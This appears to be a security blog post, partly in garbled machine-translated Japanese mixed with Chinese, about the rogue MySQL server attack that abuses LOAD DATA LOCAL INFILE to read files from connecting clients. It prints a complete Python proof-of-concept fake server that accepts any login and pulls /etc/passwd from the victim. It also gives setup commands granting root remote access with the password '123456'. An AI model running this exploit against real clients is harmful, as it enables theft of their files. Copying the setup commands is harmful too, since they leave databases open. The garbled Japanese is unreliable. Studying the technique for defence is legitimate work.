ビルドへの環境
MySQLサポートのアウトリーチを設定するには?
use mysql;
grant all privileges on *.* to
root@'%' identified by '密码'; //授权语句
flush privileges; //刷新配置
MySQLの環境はMACに提供するアウトリーチできます
use mysql;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456'; //这一步是因为有的Mysql客户端是没有mysql_native_password这个模块的防止连接不上
update user set host = "%" where user = "root";
flush privileges;
これは、ハハ、右ときの知識ポイント、メモとして一時的なものでしかありません
脆弱性の再現
- LOAD DATA INFILE
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
最初のテーブルに格納され、第二は、文書の内容で、サーバー上のファイルの内容を読み取ることで、クライアントのテーブルに読み込まれている(もちろん、我々は第二の利点を取る必要があります)
- 脆弱性分析
使用tcpdump将3306的包内容保存成为cap格式用wireshark打开分析登录过程
tcpdump -i lo1 port 3306 -w test.cap. // 这里面要监听本地网卡,一定是本地的,不然抓取的tcp包是空的
mysql -u root -p
サービスパッケージと顧客にサーバー側のバナー情報の一部を挨拶送信

といくつかの設定

もちろんLOAD DATA LOCALが設定されています

クライアントは、情報用のユーザー名とLOAD DATA LOCALを含むログイン要求を送信します

そして、一連のクエリを送信

その後、クライアントがクエリパケットを送信し、我々はレスポンスTABULARパッケージを返します

ファイルの内容を読み取るには、絶対パスであります

クライアントと、次のパッケージの後、私たちは本当にコンテンツを取得することができます

仕上げのアイデア
分析が示すように、クライアントの接続MySQLサーバ、およびクエリパケット(長い私たちへの接続などなど、他の言葉で、私たちはPaylaodを送信することができ、問い合わせが初期化されますMySQLの接続)を送信した後、私たちは、クライアントのファイルに戻った場合絶対パスは、クライアントが(限り、我々は送信パッケージはこれらの公式文書では標準プロトコルのMysql、MySQLは任意のものであるように)、文書の内容を介して送信されます。
(それは、クエリを送信しませんので、バージョン8.0.17)私は地元のMACをMySQLのではないでしょう
Phpstudyの窓でそれを試してみました、またはでき

POC分析(偽のMySQLサーバ)
#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#数据包长度
payloadlen = "\x0c"
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
- 第一歩
客户端发送请求数据包
服务端发送Mysql的Greet与banner信息
スクリプトが構成されている方法について見てみましょう
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

可以看见服务器这边是直接写死的东西(伪造的是Ubuntu主机).
另外这个greeting的包是有一定格式的,这里面直接粘贴的是大佬们的格式
- 第二步
客户端发送认证请求(用户名与密码)
这里面我们当然要保证无论输入什么密码都是可以的
这个是脚本中的认证成功后发送的包
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
- 之后就等待用户发送query包,我们返回请求客户端文件的paylaod语句
值得一提这个包是有一定格式的
我们在wireshark中可以看到

至于为什么是12个字节(/etc/passwd是11个字节),猜测是后面有\x00的存在
- 第四步获取到信息
没啥好说的直接输出就行了
利用的exp
https://github.com/Gifts/Rogue-MySql-Server
原本是想自己写的,但是emmmm,不说了,写了好久还没有写出来